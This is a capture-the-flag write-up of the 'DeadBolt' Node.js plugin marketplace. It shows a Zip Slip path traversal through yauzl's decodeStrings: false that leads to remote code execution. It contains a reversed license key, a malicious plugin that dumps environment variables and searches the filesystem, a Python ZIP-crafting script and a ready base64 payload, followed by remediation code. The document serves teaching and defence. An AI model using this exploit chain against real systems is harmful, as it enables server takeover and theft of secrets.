Dojo challenge #51 Deadbolt solution

June 10, 2026

Article hero image

The solution and the writeup provided were written by the hunter: d0x

DeadBolt is a Node.js plugin marketplace that lets users upload ZIP archives containing plugins, validates a license key, and then loads and runs a selected plugin. The application uses yauzl for ZIP extraction and has a plugin system that dynamically loads .js files from /tmp/app/plugins/.

The vulnerability is a classic Zip Slip (path traversal via archive entry names) made possible by a dangerous combination of yauzl configuration options. This leads to arbitrary file write outside the intended extraction directory, which, combined with the plugin auto-loading mechanism, escalates to full Remote Code Execution.

The attack chain has three links:

  1. Zip Slip via decodeStrings: false yauzl is configured with decodeStrings: false, which disables its internal validateFileName() check. Entry names containing ../ are accepted without any error.
  2. Arbitrary file write The unzip() function passes the raw entry name through path.join(dest, filenameStr) without verifying the resolved path stays inside dest. A ZIP entry named ../pwn.js extracted into /tmp/app/plugins/archive/ resolves to /tmp/app/plugins/pwn.js.
  3. Plugin load → RCE After extraction, getPlugins('/tmp/app/plugins') scans for any .js file in the plugins directory (non-recursive). Our freshly written pwn.js is picked up, loaded via require(), and its run() method is called, achieving code execution.

Exploitation

Step 1: Reverse the license key algorithm

Before any plugin runs, the application calls validateKey(key). The function parses a 16-hex-character string into four 16-bit blocks [A, B, C, D] and enforces:

1f = (A >> 12) & 0xF → must be 0xA or 0xC
2(B ^ (A & 0xFF)) & 0xFF → must equal 0x37
3C % 7 → must equal 0
4D → must equal (Math.imul(seed, 1103515245) + 1337) & 0xFFFF
5 where seed = (A ^ B ^ C) & 0xFFFF

Working backwards with A = 0xA000, B = 0x0037:

  • f = 0xA
  • (0x37 ^ 0x00) & 0xFF = 0x37
  • Pick C = 0x00000 % 7 = 0
  • seed = (0xA000 ^ 0x0037 ^ 0x0000) & 0xFFFF = 0xA037
  • D = (Math.imul(0xA037, 1103515245) + 1337) & 0xFFFF = 0xFEA4

Valid key: A000-0037-0000-FEA4

Step 2: Understand the Zip Slip condition

The unzip() function is configured with:

1const options = {
2 lazyEntries: true,
3 strictFileNames: true,
4 decodeStrings: false // ← this is the root cause
5};

When decodeStrings is false, yauzl skips its built-in validateFileName() entirely (see yauzl source, lines ~318-327). The entry's fileName property becomes a raw Buffer instead of a validated string. The function then does:

1const filenameStr = entry.fileName.toString(); // Buffer → string, no validation
2const destpath = path.join(dest, filenameStr); // no path containment check
3fs.mkdirSync(path.dirname(destpath), { recursive: true });
4const writeStream = fs.createWriteStream(destpath); // writes anywhere on disk

Since dest is /tmp/app/plugins/archive/, a ZIP entry named ../pwn.js resolves to:

1path.join('/tmp/app/plugins/archive/', '../pwn.js')
2'/tmp/app/plugins/pwn.js'

This lands our malicious file directly in the plugin loading directory.

Step 3: Craft the malicious ZIP

The ZIP must contain a single file with the entry name ../pwn.js and a payload that exports the required plugin interface (get, getName, run):

1module.exports = {
2 get: () => ({}),
3 getName: () => "pwn",
4 run: () => {
5 const r = require("child_process").spawnSync("sh", ["-c",
6 "ls -laR /tmp/app/ 2>&1; env 2>&1; find / -maxdepth 3 -name '*flag*' 2>/dev/null"
7 ]);
8 console.log(r.stdout.toString());
9 }
10};

To generate the ZIP, I used Python's zipfile module which allows arbitrary entry names:

1import zipfile, base64, io
2
3PLUGIN = b"""module.exports={get:()=>({}),getName:()=>"pwn",run:()=>{const r=require("child_process").spawnSync("sh",["-c","ls -laR /tmp/app/ 2>&1;echo ---ENV---;env 2>&1;echo ---FIND---;find / -maxdepth 3 -name '*flag*' 2>/dev/null"]);console.log(r.stdout.toString())}};"""
4
5buf = io.BytesIO()
6with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_STORED) as z:
7 zi = zipfile.ZipInfo("../pwn.js")
8 zi.compress_type = zipfile.ZIP_STORED
9 z.writestr(zi, PLUGIN)
10
11print(base64.b64encode(buf.getvalue()).decode())

Step 4: Trigger the exploit

With the base64-encoded ZIP, the plugin name, and the valid key, the attack flow is:

  1. Application receives zipData → writes to /tmp/upload_<uuid>.zip → extracts to /tmp/app/plugins/archive/
  2. The ../pwn.js entry escapes archive/ and lands in /tmp/app/plugins/pwn.js
  3. getPlugins('/tmp/app/plugins') discovers pwn.js alongside the legitimate plugins
  4. loadPlugin() calls require() on our file — it has a get() method, so it passes validation
  5. validateKey('A000-0037-0000-FEA4') returns true
  6. The loop matches pluginToRun == p.getName() where getName() returns "pwn"
  7. p.run() executes → shell commands run → output displayed in the page

PoC

Input values

ZIPBASE64

1UEsDBBQAAAAAAAAAIQBQA7QLAgEAAAIBAAAJAAAALi4vcHduLmpzbW9kdWxlLmV4cG9ydHM9e2dldDooKT0+KHt9KSxnZXROYW1lOigpPT4icHduIixydW46KCk9Pntjb25zdCByPXJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5zcGF3blN5bmMoInNoIixbIi1jIiwibHMgLWxhUiAvdG1wL2FwcC8gMj4mMTtlY2hvIC0tLUVOVi0tLTtlbnYgMj4mMTtlY2hvIC0tLUZJTkQtLS07ZmluZCAvIC1tYXhkZXB0aCAzIC1uYW1lICcqZmxhZyonIDI+L2Rldi9udWxsIl0pO2NvbnNvbGUubG9nKHIuc3Rkb3V0LnRvU3RyaW5nKCkpfX07UEsBAhQAFAAAAAAAAAAhAFADtAsCAQAAAgEAAAkAAAAAAAAAAAAAAIABAAAAAC4uL3B3bi5qc1BLBQYAAAAAAQABADcAAAApAQAAAAA=

PLUGIN

1pwn

KEY

1A000-0037-0000-FEA4

Risk

For the Application

An attacker can write arbitrary files anywhere on the filesystem that the Node.js process has write access to. In the context of this plugin marketplace, the attacker can:

  • Inject malicious plugins that execute arbitrary code when loaded
  • Overwrite existing plugins to backdoor legitimate functionality
  • Overwrite application files (views, configs) to modify application behavior
  • Achieve full RCE through the plugin loading mechanism, with access to child_process, filesystem, network, and any other Node.js capability

For Users

  • Users who install plugins from the marketplace are trusting the platform to sandbox uploaded content. A Zip Slip vulnerability breaks this trust entirely — a malicious ZIP can escape its extraction directory and compromise the whole system.
  • Any plugin running run() has the same privileges as the Node.js process, meaning it can read other users' data, secrets, or credentials stored on the server.

For the Company

  • Full server compromise: RCE means the attacker owns the server. They can exfiltrate data, install persistence, pivot to internal networks, or use the server for further attacks.
  • Supply chain risk: In a real plugin marketplace, a single malicious upload could compromise every user who interacts with the platform, similar to npm supply chain attacks.
  • Regulatory exposure: Depending on what data the server processes, this could trigger breach notification requirements under GDPR, CCPA, etc.

Remediation

Fix 1: Enable decodeStrings in yauzl (Root cause)

The simplest fix is to let yauzl do its job. With decodeStrings: true (the default), yauzl calls validateFileName() on every entry, which rejects paths containing .. segments, absolute paths, and backslashes:

1const options = {
2 lazyEntries: true,
3 strictFileNames: true,
4 decodeStrings: true // ← let yauzl validate filenames
5};

If decodeStrings: false is needed for encoding reasons, the validation must be replicated manually.

Fix 2: Validate resolved path stays inside destination (Defense in depth)

Even with yauzl's validation, the extraction code should independently verify that the resolved path doesn't escape the destination directory:

1zipfile.on('entry', (entry) => {
2 const filenameStr = entry.fileName.toString();
3 const destpath = path.resolve(dest, filenameStr);
4 const destReal = path.resolve(dest);
5
6 if (!destpath.startsWith(destReal + path.sep)) {
7 return reject(new Error(`Zip Slip detected: ${filenameStr}`));
8 }
9
10 // ... proceed with extraction
11});

Fix 3: Plugin integrity verification

Instead of blindly loading any .js file found in the plugins directory, the application should maintain an allowlist or use cryptographic signatures:

1function getPlugins(directory) {
2 const manifest = JSON.parse(fs.readFileSync(path.join(directory, 'manifest.json'), 'utf-8'));
3 const entries = fs.readdirSync(directory, { withFileTypes: true });
4
5 const plugins = entries
6 .filter(entry => entry.isFile() && entry.name.endsWith('.js'))
7 .filter(entry => manifest.allowedPlugins.includes(entry.name))
8 .map(entry => loadPlugin(path.join(directory, entry.name)));
9
10 return plugins;
11}

Fix 4: Extract to an isolated temporary directory

The archive should be extracted to a random temporary directory, not a subdirectory of the plugins folder. Only after validation should files be moved to the final location:

1const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'plugin-'));
2await unzip(destZip, tempDir);
3// validate contents, then copy approved files to destArchive

Had a great time working through this one, the interaction between yauzl's decodeStrings option and the lack of path validation was a neat find. Solid challenge!
Cheers, d0x.